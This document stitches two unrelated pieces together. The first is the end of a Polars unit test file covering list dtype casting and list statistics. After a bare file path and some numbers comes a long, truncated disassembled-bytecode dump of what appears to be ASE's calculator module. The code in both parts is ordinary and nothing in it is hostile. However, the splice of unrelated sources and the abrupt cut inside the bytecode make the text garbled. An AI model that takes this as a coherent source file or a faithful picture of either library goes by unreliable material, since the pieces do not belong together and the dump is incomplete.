"b"]]]} def test_null_list_construction_and_materialization() -> None: s = pl.Series([None, []]) assert s.dtype == pl.List(pl.Null) assert s.to_list() == [None, []] def test_logical_type_struct_agg_list() -> None: df = pl.DataFrame( {"cats": ["Value1", "Value2", "Value1"]}, schema_overrides={"cats": pl.Categorical}, ) out = df.group_by(1).agg(pl.struct("cats")) assert out.dtypes == [ pl.Int32, pl.List(pl.Struct([pl.Field("cats", pl.Categorical)])), ] assert out["cats"].to_list() == [ [{"cats": "Value1"}, {"cats": "Value2"}, {"cats": "Value1"}] ] def test_logical_parallel_list_collect() -> None: out = ( pl.DataFrame( { "Group": ["GroupA", "GroupA", "GroupA"], "Values": ["Value1", "Value2", "Value1"], }, schema_overrides={"Values": pl.Categorical}, ) .group_by("Group") .agg(pl.col("Values").value_counts(sort=True)) .explode("Values") .unnest("Values") ) assert out.dtypes == [pl.String, pl.Categorical, pl.UInt32] assert out.to_dict(as_series=False) == { "Group": ["GroupA", "GroupA"], "Values": ["Value1", "Value2"], "count": [2, 1], } def test_list_recursive_categorical_cast() -> None: dtype = pl.List(pl.List(pl.List(pl.Categorical))) values = [[[["x"], ["y"]]], [[["x"]]]] s = pl.Series(values).cast(dtype) assert s.dtype == dtype assert s.to_list() == values @pytest.mark.parametrize( ("data", "expected_data", "dtype"), [ ([None, 1, 2], [None, [1], [2]], pl.Int64), ([None, 1.0, 2.0], [None, [1.0], [2.0]], pl.Float64), ([None, "x", "y"], [None, ["x"], ["y"]], pl.String), ([None, True, False], [None, [True], [False]], pl.Boolean), ], ) def test_non_nested_cast_to_list( data: list[Any], expected_data: list[Any], dtype: PolarsDataType ) -> None: s = pl.Series(data, dtype=dtype) casted_s = s.cast(pl.List(dtype)) expected = pl.Series(expected_data, dtype=pl.List(dtype)) assert_series_equal(casted_s, expected) def test_list_new_from_index_logical() -> None: s = ( pl.select(pl.struct(pl.Series("a", [date(2001, 1, 1)])).implode()) .to_series() .new_from_index(0, 1) ) assert s.dtype == pl.List(pl.Struct([pl.Field("a", pl.Date)])) assert s.to_list() == [[{"a": date(2001, 1, 1)}]] dtype = pl.List(pl.Struct({"c": pl.Boolean})) s = pl.Series("b", values=[[]], dtype=dtype) s = s.new_from_index(0, 2) assert s.dtype == dtype assert s.to_list() == [[], []] def test_list_recursive_time_unit_cast() -> None: values = [[datetime(2000, 1, 1, 0, 0, 0)]] dtype = pl.List(pl.Datetime("ns")) s = pl.Series(values) out = s.cast(dtype) assert out.dtype == dtype assert out.to_list() == values def test_list_null_list_categorical_cast() -> None: expected = pl.List(pl.Categorical) s = pl.Series([[]], dtype=pl.List(pl.Null)).cast(expected) assert s.dtype == expected assert s.to_list() == [[]] def test_list_null_pickle() -> None: df = pl.DataFrame([{"a": None}], schema={"a": pl.List(pl.Int64)}) assert_frame_equal(df, pickle.loads(pickle.dumps(df))) def test_struct_with_nulls_as_list() -> None: df = pl.DataFrame([[{"a": 1, "b": 2}], [{"c": 3, "d": None}]]) assert df.select(pl.concat_list(pl.all()).alias("as_list")).to_dict( as_series=False ) == { "as_list": [ [ {"a": 1, "b": 2, "c": None, "d": None}, {"a": None, "b": None, "c": 3, "d": None}, ] ] } def test_list_amortized_iter_clear_settings_10126() -> None: out = ( pl.DataFrame({"a": [[1], [1], [2]], "b": [[1, 2], [1, 3], [4]]}) .explode("a") .group_by("a") .agg(pl.col("b").flatten()) .with_columns(pl.col("b").list.unique()) .sort("a") ) assert out.to_dict(as_series=False) == {"a": [1, 2], "b": [[1, 2, 3], [4]]} def test_list_inner_cast_physical_11513() -> None: df = pl.DataFrame( { "date": ["foo"], "struct": [[]], }, schema_overrides={ "struct": pl.List( pl.Struct( { "field": pl.Struct( {"subfield": pl.List(pl.Struct({"subsubfield": pl.Date}))} ) } ) ) }, ) assert df.select(pl.col("struct").gather(0)).to_dict(as_series=False) == { "struct": [[]] } @pytest.mark.parametrize( ("dtype", "expected"), [(pl.List, True), (pl.Struct, True), (pl.String, False)] ) def test_datatype_is_nested(dtype: PolarsDataType, expected: bool) -> None: assert dtype.is_nested() is expected def test_list_series_construction_with_dtype_11849_11878() -> None: s = pl.Series([[1, 2], [3.3, 4.9]], dtype=pl.List(pl.Float64)) assert s.to_list() == [[1, 2], [3.3, 4.9]] s1 = pl.Series([[1, 2], [3.0, 4.0]], dtype=pl.List(pl.Float64)) s2 = pl.Series([[1, 2], [3.0, 4.9]], dtype=pl.List(pl.Float64)) assert_series_equal(s1 == s2, pl.Series([True, False])) s = pl.Series( "groups", [[{"1": "A", "2": None}], [{"1": "B", "2": "C"}, {"1": "D", "2": "E"}]], dtype=pl.List(pl.Struct([pl.Field("1", pl.String), pl.Field("2", pl.String)])), ) assert s.to_list() == [ [{"1": "A", "2": None}], [{"1": "B", "2": "C"}, {"1": "D", "2": "E"}], ] def test_as_list_logical_type() -> None: df = pl.select(timestamp=pl.date(2000, 1, 1), value=0) assert df.group_by(True).agg( pl.col("timestamp").gather(pl.col("value").arg_max()) ).to_dict(as_series=False) == {"literal": [True], "timestamp": [[date(2000, 1, 1)]]} @pytest.fixture() def data_dispersion() -> pl.DataFrame: return pl.DataFrame( { "int": [[1, 2, 3, 4, 5]], "float": [[1.0, 2.0, 3.0, 4.0, 5.0]], "duration": [[1000, 2000, 3000, 4000, 5000]], }, schema={ "int": pl.List(pl.Int64), "float": pl.List(pl.Float64), "duration": pl.List(pl.Duration), }, ) def test_list_var(data_dispersion: pl.DataFrame) -> None: df = data_dispersion result = df.select( pl.col("int").list.var().name.suffix("_var"), pl.col("float").list.var().name.suffix("_var"), pl.col("duration").list.var().name.suffix("_var"), ) expected = pl.DataFrame( [ pl.Series("int_var", [2.5], dtype=pl.Float64), pl.Series("float_var", [2.5], dtype=pl.Float64), pl.Series( "duration_var", [timedelta(microseconds=2000)], dtype=pl.Duration(time_unit="ms"), ), ] ) assert_frame_equal(result, expected) def test_list_std(data_dispersion: pl.DataFrame) -> None: df = data_dispersion result = df.select( pl.col("int").list.std().name.suffix("_std"), pl.col("float").list.std().name.suffix("_std"), pl.col("duration").list.std().name.suffix("_std"), ) expected = pl.DataFrame( [ pl.Series("int_std", [1.5811388300841898], dtype=pl.Float64), pl.Series("float_std", [1.5811388300841898], dtype=pl.Float64), pl.Series( "duration_std", [timedelta(microseconds=1581)], dtype=pl.Duration(time_unit="us"), ), ] ) assert_frame_equal(result, expected) def test_list_median(data_dispersion: pl.DataFrame) -> None: df = data_dispersion result = df.select( pl.col("int").list.median().name.suffix("_median"), pl.col("float").list.median().name.suffix("_median"), pl.col("duration").list.median().name.suffix("_median"), ) expected = pl.DataFrame( [ pl.Series("int_median", [3.0], dtype=pl.Float64), pl.Series("float_median", [3.0], dtype=pl.Float64), pl.Series( "duration_median", [timedelta(microseconds=3000)], dtype=pl.Duration(time_unit="us"), ), ] ) assert_frame_equal(result, expected)
data/polars-0.20.10/py-polars/tests/unit/datatypes/test_list.py
17,182
8,995
333,949
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_CONST 0 LOAD_CONST ('pi', 'sqrt') IMPORT_NAME math IMPORT_FROM pi STORE_NAME pi IMPORT_FROM sqrt STORE_NAME sqrt POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pathlib STORE_NAME pathlib LOAD_CONST 0 LOAD_CONST ('Union', 'Optional', 'List', 'Set', 'Dict', 'Any') IMPORT_NAME typing IMPORT_FROM Union STORE_NAME Union IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM List STORE_NAME List IMPORT_FROM Set STORE_NAME Set IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Any STORE_NAME Any POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('Cell',) IMPORT_NAME ase.cell IMPORT_FROM Cell STORE_NAME Cell POP_TOP LOAD_CONST 0 LOAD_CONST ('Properties', 'all_outputs') IMPORT_NAME ase.outputs IMPORT_FROM Properties STORE_NAME Properties IMPORT_FROM all_outputs STORE_NAME all_outputs POP_TOP LOAD_CONST 0 LOAD_CONST ('jsonable',) IMPORT_NAME ase.utils IMPORT_FROM jsonable STORE_NAME jsonable POP_TOP LOAD_CONST 0 LOAD_CONST ('GetPropertiesMixin',) IMPORT_NAME ase.calculators.abc IMPORT_FROM GetPropertiesMixin STORE_NAME GetPropertiesMixin POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object CalculatorError at 0x7fa6d56308a0, file "f.py", line 17> LOAD_CONST 'CalculatorError' MAKE_FUNCTION LOAD_CONST 'CalculatorError' LOAD_NAME RuntimeError CALL_FUNCTION STORE_NAME CalculatorError LOAD_BUILD_CLASS LOAD_CONST <code object CalculatorSetupError at 0x7fa6d5630930, file "f.py", line 21> LOAD_CONST 'CalculatorSetupError' MAKE_FUNCTION LOAD_CONST 'CalculatorSetupError' LOAD_NAME CalculatorError CALL_FUNCTION STORE_NAME CalculatorSetupError LOAD_BUILD_CLASS LOAD_CONST <code object EnvironmentError at 0x7fa6d5630780, file "f.py", line 33> LOAD_CONST 'EnvironmentError' MAKE_FUNCTION LOAD_CONST 'EnvironmentError' LOAD_NAME CalculatorSetupError CALL_FUNCTION STORE_NAME EnvironmentError LOAD_BUILD_CLASS LOAD_CONST <code object InputError at 0x7fa6d5630c00, file "f.py", line 39> LOAD_CONST 'InputError' MAKE_FUNCTION LOAD_CONST 'InputError' LOAD_NAME CalculatorSetupError CALL_FUNCTION STORE_NAME InputError LOAD_BUILD_CLASS LOAD_CONST <code object CalculationFailed at 0x7fa6d5630b70, file "f.py", line 48> LOAD_CONST 'CalculationFailed' MAKE_FUNCTION LOAD_CONST 'CalculationFailed' LOAD_NAME CalculatorError CALL_FUNCTION STORE_NAME CalculationFailed LOAD_BUILD_CLASS LOAD_CONST <code object SCFError at 0x7fa6d5630ae0, file "f.py", line 60> LOAD_CONST 'SCFError' MAKE_FUNCTION LOAD_CONST 'SCFError' LOAD_NAME CalculationFailed CALL_FUNCTION STORE_NAME SCFError LOAD_BUILD_CLASS LOAD_CONST <code object ReadError at 0x7fa6d56305d0, file "f.py", line 64> LOAD_CONST 'ReadError' MAKE_FUNCTION LOAD_CONST 'ReadError' LOAD_NAME CalculatorError CALL_FUNCTION STORE_NAME ReadError LOAD_BUILD_CLASS LOAD_CONST <code object PropertyNotImplementedError at 0x7fa6d5630810, file "f.py", line 68> LOAD_CONST 'PropertyNotImplementedError' MAKE_FUNCTION LOAD_CONST 'PropertyNotImplementedError' LOAD_NAME NotImplementedError CALL_FUNCTION STORE_NAME PropertyNotImplementedError LOAD_BUILD_CLASS LOAD_CONST <code object PropertyNotPresent at 0x7fa6d5630c90, file "f.py", line 72> LOAD_CONST 'PropertyNotPresent' MAKE_FUNCTION LOAD_CONST 'PropertyNotPresent' LOAD_NAME CalculatorError CALL_FUNCTION STORE_NAME PropertyNotPresent LOAD_CONST (1e-15, None) LOAD_CONST <code object compare_atoms at 0x7fa6d5630db0, file "f.py", line 79> LOAD_CONST 'compare_atoms' MAKE_FUNCTION STORE_NAME compare_atoms LOAD_CONST 'energy' LOAD_CONST 'forces' LOAD_CONST 'stress' LOAD_CONST 'stresses' LOAD_CONST 'dipole' LOAD_CONST 'charges' LOAD_CONST 'magmom' LOAD_CONST 'magmoms' LOAD_CONST 'free_energy' LOAD_CONST 'energies' BUILD_LIST STORE_NAME all_properties LOAD_CONST 'positions' LOAD_CONST 'numbers' LOAD_CONST 'cell' LOAD_CONST 'pbc' LOAD_CONST 'initial_charges' LOAD_CONST 'initial_magmoms' BUILD_LIST STORE_NAME all_changes LOAD_CONST 'abinit' LOAD_CONST 'ace' LOAD_CONST 'aims' LOAD_CONST 'amber' LOAD_CONST 'asap' LOAD_CONST 'castep' LOAD_CONST 'cp2k' LOAD_CONST 'crystal' LOAD_CONST 'demon' LOAD_CONST 'demonnano' LOAD_CONST 'dftb' LOAD_CONST 'dftd3' LOAD_CONST 'dmol' LOAD_CONST 'eam' LOAD_CONST 'elk' LOAD_CONST 'emt' LOAD_CONST 'espresso' LOAD_CONST 'exciting' LOAD_CONST 'ff' LOAD_CONST 'fleur' LOAD_CONST 'gamess_us' LOAD_CONST 'gaussian' LOAD_CONST 'gpaw' LOAD_CONST 'gromacs' LOAD_CONST 'gulp' LOAD_CONST 'hotbit' LOAD_CONST 'kim' LOAD_CONST 'lammpslib' LOAD_CONST 'lammpsrun' LOAD_CONST 'lj' LOAD_CONST 'mopac' LOAD_CONST 'morse' LOAD_CONST 'nwchem' LOAD_CONST 'octopus' LOAD_CONST 'onetep' LOAD_CONST 'openmx' LOAD_CONST 'orca' LOAD_CONST 'psi4' LOAD_CONST 'qchem' LOAD_CONST 'siesta' LOAD_CONST 'tip3p' LOAD_CONST 'tip4p' LOAD_CONST 'turbomole' LOAD_CONST 'vasp' BUILD_LIST STORE_NAME names LOAD_CONST 'CP2K' LOAD_CONST 'DemonNano' LOAD_CONST 'DFTD3' LOAD_CONST 'DMol3' LOAD_CONST 'EAM' LOAD_CONST 'ELK' LOAD_CONST 'EMT' LOAD_CONST 'CRYSTAL' LOAD_CONST 'ForceField' LOAD_CONST 'FLEUR' LOAD_CONST 'GAMESSUS' LOAD_CONST 'GULP' LOAD_CONST 'KIM' LOAD_CONST 'LAMMPS' LOAD_CONST 'LAMMPSlib' LOAD_CONST 'LennardJones' LOAD_CONST 'MOPAC' LOAD_CONST 'MorsePotential' LOAD_CONST 'NWChem' LOAD_CONST 'OpenMX' LOAD_CONST 'ORCA' LOAD_CONST 'QChem' LOAD_CONST 'TIP3P' LOAD_CONST 'TIP4P' LOAD_CONST ('cp2k', 'demonnano', 'dftd3', 'dmol', 'eam', 'elk', 'emt', 'crystal', 'ff', 'fleur', 'gamess_us', 'gulp', 'kim', 'lammpsrun', 'lammpslib', 'lj', 'mopac', 'morse', 'nwchem', 'openmx', 'orca', 'qchem', 'tip3p', 'tip4p') BUILD_CONST_KEY_MAP STORE_NAME special BUILD_MAP STORE_NAME external_calculators LOAD_CONST <code object register_calculator_class at 0x7fa6d5630660, file "f.py", line 212> LOAD_CONST 'register_calculator_class' MAKE_FUNCTION STORE_NAME register_calculator_class LOAD_CONST <code object get_calculator_class at 0x7fa6d5630d20, file "f.py", line 220> LOAD_CONST 'get_calculator_class' MAKE_FUNCTION STORE_NAME get_calculator_class LOAD_CONST (None, None, None) LOAD_CONST <code object equal at 0x7fa6d5630a50, file "f.py", line 243> LOAD_CONST 'equal' MAKE_FUNCTION STORE_NAME equal LOAD_CONST (3.5, True) LOAD_CONST <code object kptdensity2monkhorstpack at 0x7fa6d5630e40, file "f.py", line 277> LOAD_CONST 'kptdensity2monkhorstpack' MAKE_FUNCTION STORE_NAME kptdensity2monkhorstpack LOAD_CONST (False,) LOAD_CONST <code object kpts2mp at 0x7fa6d5630ed0, file "f.py", line 302> LOAD_CONST 'kpts2mp' MAKE_FUNCTION STORE_NAME kpts2mp LOAD_CONST (None, None, None, None, None) LOAD_CONST <code object kpts2sizeandoffsets at 0x7fa6f1efd030, file "f.py", line 311> LOAD_CONST 'kpts2sizeandoffsets' MAKE_FUNCTION STORE_NAME kpts2sizeandoffsets LOAD_NAME jsonable LOAD_CONST 'kpoints' CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object KPoints at 0x7fa6f1efd150, file "f.py", line 369> LOAD_CONST 'KPoints' MAKE_FUNCTION LOAD_CONST 'KPoints' CALL_FUNCTION CALL_FUNCTION STORE_NAME KPoints LOAD_CONST (None,) LOAD_CONST <code object kpts2kpts at 0x7fa6f1efd1e0, file "f.py", line 380> LOAD_CONST 'kpts2kpts' MAKE_FUNCTION STORE_NAME kpts2kpts LOAD_CONST (None,) LOAD_CONST <code object kpts2ndarray at 0x7fa6f1efd270, file "f.py", line 404> LOAD_CONST 'kpts2ndarray' MAKE_FUNCTION STORE_NAME kpts2ndarray LOAD_BUILD_CLASS LOAD_CONST <code object EigenvalOccupationMixin at 0x7fa6f1efd540, file "f.py", line 409> LOAD_CONST 'EigenvalOccupationMixin' MAKE_FUNCTION LOAD_CONST 'EigenvalOccupationMixin' CALL_FUNCTION STORE_NAME EigenvalOccupationMixin LOAD_BUILD_CLASS LOAD_CONST <code object Parameters at 0x7fa6f1efd930, file "f.py", line 436> LOAD_CONST 'Parameters' MAKE_FUNCTION LOAD_CONST 'Parameters' LOAD_NAME dict CALL_FUNCTION STORE_NAME Parameters LOAD_BUILD_CLASS LOAD_CONST <code object Calculator at 0x7fa6f1ef1930, file "f.py", line 486> LOAD_CONST 'Calculator' MAKE_FUNCTION LOAD_CONST 'Calculator' LOAD_NAME GetPropertiesMixin CALL_FUNCTION STORE_NAME Calculator LOAD_BUILD_CLASS LOAD_CONST <code object FileIOCalculator at 0x7fa6f1ef1c90, file "f.py", line 926> LOAD_CONST 'FileIOCalculator' MAKE_FUNCTION LOAD_CONST 'FileIOCalculator' LOAD_NAME Calculator CALL_FUNCTION STORE_NAME FileIOCalculator LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CalculatorError' STORE_NAME __qualname__ LOAD_CONST 'Base class of error types related to ASE calculators.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CalculatorSetupError' STORE_NAME __qualname__ LOAD_CONST 'Calculation cannot be performed with the given parameters.\n\n Reasons to raise this errors are:\n * The calculator is not properly configured\n (missing executable, environment variables, ...)\n * The given atoms object is not supported\n * Calculator parameters are unsupported\n\n Typically raised before a calculation.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EnvironmentError' STORE_NAME __qualname__ LOAD_CONST 'Raised if calculator is not properly set up with ASE.\n\n May be missing an executable or environment variables.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'InputError' STORE_NAME __qualname__ LOAD_CONST 'Raised if inputs given to the calculator were incorrect.\n\n Bad input keywords or values, or missing pseudopotentials.\n\n This may be raised before or during calculation, depending on\n when the problem is detected.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CalculationFailed' STORE_NAME __qualname__ LOAD_CONST 'Calculation failed unexpectedly.\n\n Reasons to raise this error are:\n * Calculation did not converge\n * Calculation ran out of memory\n * Segmentation fault or other abnormal termination\n * Arithmetic trouble (singular matrices, NaN, ...)\n\n Typically raised during calculation.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SCFError' STORE_NAME __qualname__ LOAD_CONST 'SCF loop did not converge.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ReadError' STORE_NAME __qualname__ LOAD_CONST 'Unexpected irrecoverable error while reading calculation results.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PropertyNotImplementedError' STORE_NAME __qualname__ LOAD_CONST 'Raised if a calculator does not implement the requested property.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PropertyNotPresent' STORE_NAME __qualname__ LOAD_CONST 'Requested property is missing.\n\n Maybe it was never calculated, or for some reason was not extracted\n with the rest of the results, without being a fatal ReadError.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_FAST atoms1 LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL all_changes LOAD_CONST None LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST system_changes JUMP_FORWARD to 212 BUILD_LIST STORE_FAST system_changes LOAD_GLOBAL set LOAD_GLOBAL all_changes CALL_FUNCTION STORE_FAST properties_to_check LOAD_FAST excluded_properties POP_JUMP_IF_FALSE LOAD_FAST properties_to_check LOAD_GLOBAL set LOAD_FAST excluded_properties CALL_FUNCTION INPLACE_SUBTRACT STORE_FAST properties_to_check SETUP_LOOP to 118 LOAD_CONST ('cell', 'pbc') GET_ITER FOR_ITER to 116 STORE_FAST prop LOAD_FAST prop LOAD_FAST properties_to_check COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST properties_to_check LOAD_METHOD remove LOAD_FAST prop CALL_METHOD POP_TOP LOAD_GLOBAL equal LOAD_GLOBAL getattr LOAD_FAST atoms1 LOAD_FAST prop CALL_FUNCTION LOAD_GLOBAL getattr LOAD_FAST atoms2 LOAD_FAST prop CALL_FUNCTION LOAD_FAST tol LOAD_CONST ('atol',) CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST system_changes LOAD_METHOD append LOAD_FAST prop CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL set LOAD_FAST atoms1 LOAD_ATTR arrays CALL_FUNCTION STORE_FAST arrays1 LOAD_GLOBAL set LOAD_FAST atoms2 LOAD_ATTR arrays CALL_FUNCTION STORE_FAST arrays2 LOAD_FAST system_changes LOAD_FAST properties_to_check LOAD_FAST arrays1 LOAD_FAST arrays2 BINARY_XOR BINARY_AND INPLACE_ADD STORE_FAST system_changes SETUP_LOOP to 212 LOAD_FAST properties_to_check LOAD_FAST arrays1 BINARY_AND LOAD_FAST arrays2 BINARY_AND GET_ITER FOR_ITER to 210 STORE_FAST prop LOAD_GLOBAL equal LOAD_FAST atoms1 LOAD_ATTR arrays LOAD_FAST prop BINARY_SUBSCR LOAD_FAST atoms2 LOAD_ATTR arrays LOAD_FAST prop BINARY_SUBSCR LOAD_FAST tol LOAD_CONST ('atol',) CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST system_changes LOAD_METHOD append LOAD_FAST prop CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST system_changes RETURN_VALUE LOAD_FAST name LOAD_GLOBAL external_calculators COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cls LOAD_GLOBAL external_calculators LOAD_FAST name STORE_SUBSCR LOAD_GLOBAL names LOAD_METHOD append LOAD_FAST name CALL_METHOD POP_TOP LOAD_GLOBAL names LOAD_METHOD sort CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST name LOAD_CONST 'asap' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('EMT',) IMPORT_NAME asap3 IMPORT_FROM EMT STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_CONST 'gpaw' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('GPAW',) IMPORT_NAME gpaw IMPORT_FROM GPAW STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_CONST 'hotbit' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('Calculator',) IMPORT_NAME hotbit IMPORT_FROM Calculator STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_CONST 'vasp2' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('Vasp2',) IMPORT_NAME ase.calculators.vasp IMPORT_FROM Vasp2 STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_CONST 'ace' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('ACE',) IMPORT_NAME ase.calculators.acemolecule IMPORT_FROM ACE STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_CONST 'Psi4' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('Psi4',) IMPORT_NAME ase.calculators.psi4 IMPORT_FROM Psi4 STORE_FAST Calculator POP_TOP JUMP_FORWARD to 196 LOAD_FAST name LOAD_GLOBAL external_calculators COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL external_calculators LOAD_FAST name BINARY_SUBSCR STORE_FAST Calculator JUMP_FORWARD to 196 LOAD_GLOBAL special LOAD_METHOD get LOAD_FAST name LOAD_FAST name LOAD_METHOD title CALL_METHOD CALL_METHOD STORE_FAST classname LOAD_GLOBAL __import__ LOAD_CONST 'ase.calculators.' LOAD_FAST name BINARY_ADD BUILD_MAP LOAD_CONST None LOAD_FAST classname BUILD_LIST CALL_FUNCTION STORE_FAST module LOAD_GLOBAL getattr LOAD_FAST module LOAD_FAST classname CALL_FUNCTION STORE_FAST Calculator LOAD_FAST Calculator RETURN_VALUE LOAD_FAST tol LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST 'Use `equal(a, b, rtol=..., atol=...)` instead of `tol=...`' STORE_FAST msg LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_FAST msg LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_DEREF rtol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_DEREF atol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Do not use deprecated `tol` with `atol` and/or `rtol`' CALL_FUNCTION RAISE_VARARGS LOAD_FAST tol STORE_DEREF rtol LOAD_FAST tol STORE_DEREF atol LOAD_GLOBAL isinstance LOAD_DEREF a LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST a_is_dict LOAD_GLOBAL isinstance LOAD_DEREF b LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST b_is_dict LOAD_FAST a_is_dict POP_JUMP_IF_TRUE LOAD_FAST b_is_dict POP_JUMP_IF_FALSE LOAD_FAST a_is_dict POP_JUMP_IF_FALSE LOAD_FAST b_is_dict POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_DEREF a LOAD_METHOD keys CALL_METHOD LOAD_DEREF b LOAD_METHOD keys CALL_METHOD COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_GLOBAL all LOAD_CLOSURE a LOAD_CLOSURE atol LOAD_CLOSURE b LOAD_CLOSURE rtol BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fa6d56309c0, file "f.py", line 261> LOAD_CONST 'equal.<locals>.<genexpr>' MAKE_FUNCTION LOAD_DEREF a GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD shape LOAD_DEREF a CALL_METHOD LOAD_GLOBAL np LOAD_METHOD shape LOAD_DEREF b CALL_METHOD COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_DEREF rtol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_DEREF atol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD array_equal LOAD_DEREF a LOAD_DEREF b CALL_METHOD RETURN_VALUE LOAD_DEREF rtol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_DEREF rtol LOAD_DEREF atol LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_DEREF atol LOAD_GLOBAL np LOAD_ATTR allclose LOAD_DEREF a LOAD_DEREF b LOAD_DEREF rtol LOAD_DEREF atol LOAD_CONST ('rtol', 'atol') CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 34 STORE_FAST key LOAD_GLOBAL equal LOAD_DEREF a LOAD_FAST key BINARY_SUBSCR LOAD_DEREF b LOAD_FAST key BINARY_SUBSCR LOAD_DEREF rtol LOAD_DEREF atol LOAD_CONST ('rtol', 'atol') CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST atoms LOAD_ATTR cell LOAD_METHOD reciprocal CALL_METHOD STORE_FAST recipcell BUILD_LIST STORE_FAST kpts SETUP_LOOP to 140 LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION GET_ITER FOR_ITER to 138 STORE_FAST i LOAD_FAST atoms LOAD_ATTR pbc LOAD_FAST i BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_CONST 2 LOAD_GLOBAL pi BINARY_MULTIPLY LOAD_GLOBAL sqrt LOAD_FAST recipcell LOAD_FAST i BINARY_SUBSCR LOAD_CONST 2 BINARY_POWER LOAD_METHOD sum CALL_METHOD CALL_FUNCTION BINARY_MULTIPLY LOAD_FAST kptdensity BINARY_MULTIPLY STORE_FAST k LOAD_FAST even POP_JUMP_IF_FALSE LOAD_FAST kpts LOAD_METHOD append LOAD_CONST 2 LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST k LOAD_CONST 2 BINARY_TRUE_DIVIDE CALL_METHOD CALL_FUNCTION BINARY_MULTIPLY CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST kpts LOAD_METHOD append LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST k CALL_METHOD CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST kpts LOAD_METHOD append LOAD_CONST 1 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL np 